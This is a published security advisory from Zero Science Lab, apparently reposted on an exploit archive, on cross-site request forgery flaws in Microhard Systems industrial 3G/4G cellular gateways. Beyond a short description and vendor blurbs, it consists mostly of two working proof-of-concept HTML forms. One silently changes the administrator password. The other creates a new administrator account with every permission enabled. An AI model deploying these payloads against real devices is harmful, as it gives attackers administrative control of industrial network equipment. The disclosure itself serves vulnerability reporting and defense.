1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 |
Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway CSRF Vulnerabilities Vendor: Microhard Systems Inc. Product web page: http://www.microhardcorp.com Affected version: IPn4G 1.1.0 build 1098 IPn3Gb 2.2.0 build 2160 IPn4Gb 1.1.6 build 1184-14 IPn4Gb 1.1.0 Rev 2 build 1090-2 IPn4Gb 1.1.0 Rev 2 build 1086 Bullet-3G 1.2.0 Rev A build 1032 VIP4Gb 1.1.6 build 1204 VIP4G 1.1.6 Rev 3.0 build 1184-14 VIP4G-WiFi-N 1.1.6 Rev 2.0.0 build 1196 IPn3Gii / Bullet-3G 1.2.0 build 1076 IPn4Gii / Bullet-LTE 1.2.0 build 1078 BulletPlus 1.3.0 build 1036 Dragon-LTE 1.1.0 build 1036 Summary: The new IPn4Gb provides a rugged, industrial strength wireless solution using the new and ultra fast 4G LTE cellular network infrastructure. The IPn4Gb features integrated Firewall, IPSec / VPN & GRE Tunneling, IP/MAC Access Control Lists. The IPn4Gb can transport critical data to and from SMS, Ethernet and Serial RS232/485/422 devices! The IPn3Gb provides a fast, secure industrial strength wireless solution that uses the widespread deployment of cellular network infrastructure for critical data collection. From remote meters and sensors, to providing mobile network access, the IPn3Gb delivers! The IPn3Gb is a powerful HSPA+ and Quad Band GSM device compatible almost anywhere. It provides robust and secure wireless communication of Serial, USB and Ethernet data. The all new Bullet-3G provides a compact, robust, feature packed industrial strength wireless solution using fast 3G/HSPA+ network infrastructure. The Bullet-3G takes things to the next level by providing features such as Ethernet with PoE, RS232 Serial port and 2x Programmable I/O. Offering enhanced, 'Secure Communication' with its integrated Firewall, IPSec VPN Tunneling, IP/MAC Access Control Lists, the Bullet-3G is a solution worth looking at! The all new Dragon-LTE provides a feature packed, compact OEM, industrial strength wireless IoT & M2M solution. Connect any device, wired or wireless, and provide remote cellular access using the Dragon-LTE. The Dragon-LTE features a OEM design for tight system integration and design flexibility with dual Ethernet Ports and high power 802.11b/g/n WIFI. With its integrated Firewall, IPSec VPN Tunneling and IP/MAC Access Control Lists, the Dragon-LTE provides a solution for any cellular application! The new VIP4Gb provides a rugged, industrial strength wireless solution using 4G LTE network infrastructure for critical data communications. The VIP4Gb provides simultaneous network connections for 802.11a/b/g/n WiFi devices, 4 x 10/100/1000 Ethernet ports, Digital I/O, and a RS232/RS485 port, resulting in a communication device that can be deployed in any application! The VIP4Gb is a powerful 4G LTE device compatible on any cellular network. It provides robust and secure wireless communication of Serial, Ethernet & WiFi data. Desc: The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Tested on: httpd-ssl-1.0.0 Linux 2.6.32.9 (Bin@DProBuilder) (gcc version 4.4.3) Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2018-5478 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5478.php 13.03.2018 -- CSRF Change Admin password: --------------------------- <html> <body> <form action="http://192.168.1.1/cgi-bin/webif/system-acl.sh" method="POST" enctype="multipart/form-data"> <input type="hidden" name="submit" value="1" /> <input type="hidden" name="pw1" value="nimda" /> <input type="hidden" name="pw2" value="nimda" /> <input type="hidden" name="passwdchange" value=" Change Passwd " /> <input type="hidden" name="user_add" value="" /> <input type="hidden" name="password_add" value="" /> <input type="hidden" name="password2_add" value="" /> <input type="hidden" name="Carrier_enable" value="0" /> <input type="hidden" name="Carrier_Status" value="0" /> <input type="hidden" name="Carrier_Settings" value="0" /> <input type="hidden" name="Carrier_Keepalive" value="0" /> <input type="hidden" name="Carrier_TrafficWatchdog" value="0" /> <input type="hidden" name="Carrier_DynamicDNS" value="0" /> <input type="hidden" name="Carrier_SMSConfig" value="0" /> <input type="hidden" name="Carrier_SMS" value="0" /> <input type="hidden" name="Carrier_DataUsage" value="0" /> <input type="hidden" name="Comport_enable" value="0" /> <input type="hidden" name="Comport_Status" value="0" /> <input type="hidden" name="Comport_Com0" value="0" /> <input type="hidden" name="Comport_Com1" value="0" /> <input type="hidden" name="Firewall_enable" value="0" /> <input type="hidden" name="Firewall_Status" value="0" /> <input type="hidden" name="Firewall_General" value="0" /> <input type="hidden" name="Firewall_Rules" value="0" /> <input type="hidden" name="Firewall_PortForwarding" value="0" /> <input type="hidden" name="Firewall_MACIPList" value="0" /> <input type="hidden" name="Firewall_Reset" value="0" /> <input type="hidden" name="GPS_enable" value="0" /> <input type="hidden" name="GPS_Location" value="0" /> <input type="hidden" name="GPS_Settings" value="0" /> <input type="hidden" name="GPS_Report" value="0" /> <input type="hidden" name="GPS_GpsGate" value="0" /> <input type="hidden" name="GPS_Recorder" value="0" /> <input type="hidden" name="GPS_LoadRecord" value="0" /> <input type="hidden" name="I/O_enable" value="0" /> <input type="hidden" name="I/O_Status" value="0" /> <input type="hidden" name="I/O_OUTPUT" value="0" /> <input type="hidden" name="Network_enable" value="0" /> <input type="hidden" name="Network_Status" value="0" /> <input type="hidden" name="Network_LAN" value="0" /> <input type="hidden" name="Network_Routes" value="0" /> <input type="hidden" name="Network_GRE" value="0" /> <input type="hidden" name="Network_PIMSM" value="0" /> <input type="hidden" name="Network_SNMP" value="0" /> <input type="hidden" name="Network_sdpServer" value="0" /> <input type="hidden" name="Network_LocalMonitor" value="0" /> <input type="hidden" name="Network_Port" value="0" /> <input type="hidden" name="System_enable" value="0" /> <input type="hidden" name="System_Settings" value="0" /> <input type="hidden" name="System_AccessControl" value="0" /> <input type="hidden" name="System_Services" value="0" /> <input type="hidden" name="System_Maintenance" value="0" /> <input type="hidden" name="System_Reboot" value="0" /> <input type="hidden" name="Tools_enable" value="0" /> <input type="hidden" name="Tools_Discovery" value="0" /> <input type="hidden" name="Tools_NetflowReport" value="0" /> <input type="hidden" name="Tools_NMSSettings" value="0" /> <input type="hidden" name="Tools_EventReport" value="0" /> <input type="hidden" name="Tools_Modbus" value="0" /> <input type="hidden" name="Tools_Websocket" value="0" /> <input type="hidden" name="Tools_SiteSurvey" value="0" /> <input type="hidden" name="Tools_Ping" value="0" /> <input type="hidden" name="Tools_TraceRoute" value="0" /> <input type="hidden" name="Tools_NetworkTraffic" value="0" /> <input type="hidden" name="VPN_enable" value="0" /> <input type="hidden" name="VPN_Summary" value="0" /> <input type="hidden" name="VPN_GatewayToGateway" value="0" /> <input type="hidden" name="VPN_ClientToGateway" value="0" /> <input type="hidden" name="VPN_VPNClientAccess" value="0" /> <input type="hidden" name="VPN_CertificateManagement" value="0" /> <input type="hidden" name="VPN_CiscoEasyVPNClient" value="0" /> <input type="submit" value="Change" /> </form> </body> </html> CSRF Add Admin: --------------- <html> <body> <form action="http://192.168.1.1/cgi-bin/webif/system-acl.sh" method="POST" enctype="multipart/form-data"> <input type="hidden" name="submit" value="1" /> <input type="hidden" name="pw1" value="" /> <input type="hidden" name="pw2" value="" /> <input type="hidden" name="user_add" value="testingus" /> <input type="hidden" name="password_add" value="123456" /> <input type="hidden" name="password2_add" value="123456" /> <input type="hidden" name="Carrier_enable" value="1" /> <input type="hidden" name="Carrier_Status" value="1" /> <input type="hidden" name="Carrier_Settings" value="1" /> <input type="hidden" name="Carrier_Keepalive" value="1" /> <input type="hidden" name="Carrier_TrafficWatchdog" value="1" /> <input type="hidden" name="Carrier_DynamicDNS" value="1" /> <input type="hidden" name="Carrier_SMSConfig" value="1" /> <input type="hidden" name="Carrier_SMS" value="1" /> <input type="hidden" name="Carrier_DataUsage" value="1" /> <input type="hidden" name="Comport_enable" value="1" /> <input type="hidden" name="Comport_Status" value="1" /> <input type="hidden" name="Comport_Com0" value="1" /> <input type="hidden" name="Comport_Com1" value="1" /> <input type="hidden" name="Firewall_enable" value="1" /> <input type="hidden" name="Firewall_Status" value="1" /> <input type="hidden" name="Firewall_General" value="1" /> <input type="hidden" name="Firewall_Rules" value="1" /> <input type="hidden" name="Firewall_PortForwarding" value="1" /> <input type="hidden" name="Firewall_MACIPList" value="1" /> <input type="hidden" name="Firewall_Reset" value="1" /> <input type="hidden" name="GPS_enable" value="1" /> <input type="hidden" name="GPS_Location" value="1" /> <input type="hidden" name="GPS_Settings" value="1" /> <input type="hidden" name="GPS_Report" value="1" /> <input type="hidden" name="GPS_GpsGate" value="1" /> <input type="hidden" name="GPS_Recorder" value="1" /> <input type="hidden" name="GPS_LoadRecord" value="1" /> <input type="hidden" name="I/O_enable" value="1" /> <input type="hidden" name="I/O_Status" value="1" /> <input type="hidden" name="I/O_OUTPUT" value="1" /> <input type="hidden" name="Network_enable" value="1" /> <input type="hidden" name="Network_Status" value="1" /> <input type="hidden" name="Network_LAN" value="1" /> <input type="hidden" name="Network_Routes" value="1" /> <input type="hidden" name="Network_GRE" value="1" /> <input type="hidden" name="Network_PIMSM" value="1" /> <input type="hidden" name="Network_SNMP" value="1" /> <input type="hidden" name="Network_sdpServer" value="1" /> <input type="hidden" name="Network_LocalMonitor" value="1" /> <input type="hidden" name="Network_Port" value="1" /> <input type="hidden" name="System_enable" value="1" /> <input type="hidden" name="System_Settings" value="1" /> <input type="hidden" name="System_AccessControl" value="1" /> <input type="hidden" name="System_Services" value="1" /> <input type="hidden" name="System_Maintenance" value="1" /> <input type="hidden" name="System_Reboot" value="1" /> <input type="hidden" name="Tools_enable" value="1" /> <input type="hidden" name="Tools_Discovery" value="1" /> <input type="hidden" name="Tools_NetflowReport" value="1" /> <input type="hidden" name="Tools_NMSSettings" value="1" /> <input type="hidden" name="Tools_EventReport" value="1" /> <input type="hidden" name="Tools_Modbus" value="1" /> <input type="hidden" name="Tools_Websocket" value="1" /> <input type="hidden" name="Tools_SiteSurvey" value="1" /> <input type="hidden" name="Tools_Ping" value="1" /> <input type="hidden" name="Tools_TraceRoute" value="1" /> <input type="hidden" name="Tools_NetworkTraffic" value="1" /> <input type="hidden" name="VPN_enable" value="1" /> <input type="hidden" name="VPN_Summary" value="1" /> <input type="hidden" name="VPN_GatewayToGateway" value="1" /> <input type="hidden" name="VPN_ClientToGateway" value="1" /> <input type="hidden" name="VPN_VPNClientAccess" value="1" /> <input type="hidden" name="VPN_CertificateManagement" value="1" /> <input type="hidden" name="VPN_CiscoEasyVPNClient" value="1" /> <input type="hidden" name="mhadd_user" value="Add User" /> <input type="submit" value="Request" /> </form> </body> </html> |